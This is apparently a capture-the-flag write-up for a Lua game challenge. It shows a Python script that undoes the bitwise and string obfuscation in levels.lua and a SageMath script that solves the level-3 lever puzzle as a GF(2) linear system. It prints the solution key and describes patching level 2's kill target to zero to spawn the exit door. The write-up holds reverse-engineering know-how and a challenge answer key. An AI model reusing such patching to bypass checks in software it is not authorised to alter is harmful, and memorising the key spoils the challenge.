we can see it contains the source code for the app.
levels.lua
was heavily obfuscated with binary operation like bit.bxor(2448, 2532)
and normal maths operation so I made a custom parser to decrypt
import re
def decode_addition(match):
a = int(match.group(1))
b = int(match.group(2))
result = a + b
return str(result)
def decode_band(match):
a = int(match.group(1))
b = int(match.group(2))
result = a & b
return str(result)
def decode_bor(match):
a = int(match.group(1))
b = int(match.group(2))
result = a | b
return str(result)
def decode_lshift(match):
a = int(match.group(1))
b = int(match.group(2))
result = a << b
return str(result)
def decode_multiplication(match):
a = int(match.group(1))
b = int(match.group(2))
result = a * b
return str(result)
def decode_rshift(match):
a = int(match.group(1))
b = int(match.group(2))
result = a >> b
return str(result)
def decode_subtraction(match):
a = int(match.group(1))
b = int(match.group(2))
result = a - b
return str(result)
def decode_bxor(match):
a = int(match.group(1))
b = int(match.group(2))
result = a ^ b
return str(result)
def decode_lua_string_custom(s):
s = s.strip('"')
s = re.sub(r'\\x([0-9A-Fa-f]{2})', lambda m: chr(int(m.group(1), 16)), s)
s = re.sub(r'\\(\d{1,3})', lambda m: chr(int(m.group(1), 10)), s)
return s
def decode_concatenated_string(match):
string_literals = re.findall(r'"((?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])+)"', match.group(0))
decoded = ''.join(decode_lua_string_custom('"' + part + '"') for part in string_literals)
return '"' + decoded + '"'
def decode_string_char(match):
numbers_str = match.group(1)
numbers = [int(x.strip()) for x in numbers_str.split(',') if x.strip()]
decoded = ''.join(chr(num) for num in numbers)
return '"' + decoded + '"'
with open('levels.lua', 'r') as infile:
content = infile.read()
pattern_addition = re.compile(r'\(\s*(\d+)\s*\+\s*(\d+)\s*\)')
pattern_band = re.compile(r'bit\.band\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_bor = re.compile(r'bit\.bor\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_lshift = re.compile(r'bit\.lshift\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_multiplication = re.compile(r'\(\s*(\d+)\s*\*\s*(\d+)\s*\)')
pattern_rshift = re.compile(r'bit\.rshift\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_subtraction = re.compile(r'\(\s*(\d+)\s*-\s*(\d+)\s*\)')
pattern_bxor = re.compile(r'bit\.bxor\(\s*(\d+)\s*,\s*(\d+)\s*\)')
pattern_string_custom = re.compile(
r'(?:"(?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])*")'
r'(?:\s*\.\.\s*(?:"(?:\\x[0-9A-Fa-f]{2}|\\\d{1,3}|[^"])*"))+'
)
#pattern_string_char = re.compile(r'_G\["string"\]\["char"\]\(\s*([\d,\s]+)\s*\)')
for i in range(30):
content = pattern_addition.sub(decode_addition, content)
content = pattern_band.sub(decode_band, content)
content = pattern_bor.sub(decode_bor, content)
content = pattern_lshift.sub(decode_lshift, content)
content = pattern_multiplication.sub(decode_multiplication, content)
content = pattern_rshift.sub(decode_rshift, content)
content = pattern_subtraction.sub(decode_subtraction, content)
content = pattern_bxor.sub(decode_bxor, content)
content = pattern_string_custom.sub(decode_concatenated_string, content)
#content = pattern_string_char.sub(decode_string_char, content)
with open('output.lua', 'w') as outfile:
outfile.write(content)
We could see that for level 3 it implemented a system of ecuations that added the binary values of some levers under GF(2)
and checked that each output is 1, for example this was the first check
self.outputs[1] = ((self.levers[1].state and 1 or 0)+(self.levers[7].state and 1 or 0)+(self.levers[8].state and 1 or 0)+(self.levers[9].state and 1 or 0)+(self.levers[10].state and 1 or 0)+(self.levers[18].state and 1 or 0)+(self.levers[20].state and 1 or 0)+(self.levers[22].state and 1 or 0)+(self.levers[24].state and 1 or 0)+(self.levers[28].state and 1 or 0)+(self.levers[29].state and 1 or 0)+(self.levers[34].state and 1 or 0)+(self.levers[36].state and 1 or 0)+(self.levers[39].state and 1 or 0)+(self.levers[41].state and 1 or 0)+(self.levers[42].state and 1 or 0)+(self.levers[43].state and 1 or 0)+(self.levers[48].state and 1 or 0)+(self.levers[49].state and 1 or 0)+(self.levers[50].state and 1 or 0)+(self.levers[52].state and 1 or 0)+(self.levers[54].state and 1 or 0)+(self.levers[60].state and 1 or 0)+(self.levers[61].state and 1 or 0)+(self.levers[65].state and 1 or 0)+(self.levers[66].state and 1 or 0)+(self.levers[68].state and 1 or 0)+(self.levers[69].state and 1 or 0)+(self.levers[70].state and 1 or 0)+(self.levers[76].state and 1 or 0)+(self.levers[78].state and 1 or 0)+(self.levers[79].state and 1 or 0)+(self.levers[80].state and 1 or 0)+(self.levers[81].state and 1 or 0)+(self.levers[82].state and 1 or 0)+(self.levers[83].state and 1 or 0)+(self.levers[87].state and 1 or 0)+(self.levers[88].state and 1 or 0)+(self.levers[90].state and 1 or 0)+(self.levers[91].state and 1 or 0)+(self.levers[92].state and 1 or 0)+(self.levers[93].state and 1 or 0)+(self.levers[98].state and 1 or 0)+(self.levers[101].state and 1 or 0)+(self.levers[102].state and 1 or 0)+(self.levers[103].state and 1 or 0)+(self.levers[105].state and 1 or 0)+(self.levers[107].state and 1 or 0)+(self.levers[109].state and 1 or 0)+(self.levers[110].state and 1 or 0)+(self.levers[117].state and 1 or 0)+(self.levers[118].state and 1 or 0)+(self.levers[120].state and 1 or 0)+(self.levers[121].state and 1 or 0)+(self.levers[125].state and 1 or 0)+(self.levers[126].state and 1 or 0)+(self.levers[127].state and 1 or 0)+(self.levers[128].state and 1 or 0)) % 2
Since we are working under GF(2)
we can easily solve this using solve_right
from sagemath. Used the following script
#!/usr/bin/env sage -python
import re
from sage.all import GF, Matrix, vector
filename = "st2.txt"
output_pattern = re.compile(r"self\.outputs\[(\d+)\]\s*=")
lever_pattern = re.compile(r"self\.levers\[(\d+)\]\.state")
output_constraints = {}
with open(filename, "r") as f:
for line in f:
line = line.strip()
if not line:
continue
out_match = output_pattern.search(line)
output_index = int(out_match.group(1))
lever_matches = lever_pattern.findall(line)
lever_indices = [int(i) for i in lever_matches]
output_constraints[output_index] = lever_indices
all_lever_indices = set()
for lever_list in output_constraints.values():
all_lever_indices.update(lever_list)
all_lever_indices = sorted(all_lever_indices)
lever_to_col = {lever: idx for idx, lever in enumerate(all_lever_indices)}
num_eq = len(output_constraints)
num_vars = len(all_lever_indices)
F = GF(2)
rows = []
b = []
for eq in sorted(output_constraints.keys()):
row = [0]*num_vars
for lever in output_constraints[eq]:
col = lever_to_col[lever]
row[col] = 1
rows.append(row)
b.append(1)
A = Matrix(F, rows)
b_vec = vector(F, b)
try:
sol = A.solve_right(b_vec)
print("Solution found:")
caca = []
for lever, col in lever_to_col.items():
print("lever {}: {}".format(lever, sol[col]))
caca.append(sol[col])
print(caca)
except Exception as e:
print("No solution exists or error during solving:", e)
The key was [1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1]
Now since static decryption of the flag didn’t work for me I patched level 2 of the game in the source code so that the door appears instantly by making score appear instantly and setting required score to 1.
This was the original code (some segments cut off)
self.targetWizzards = 137
if wiz.dead then
self.killedWizzards = self.killedWizzards + 1
table.remove(self.wizzards, i)
if self.killedWizzards >= self.targetWizzards then
self.doorSpawned = (7200 == 7200)
self.door.active = (4550 == 4550)
end
And this was my patched code
self.targetWizzards = 0
self.killedWizzards = self.killedWizzards + 1
table.remove(self.wizzards, i)
if self.killedWizzards >= self.targetWizzards then
self.doorSpawned = (7200 == 7200)
self.door.active = (4550 == 4550)
Now I rebuilt the game using the love engine and placed in the key manually to receive the flag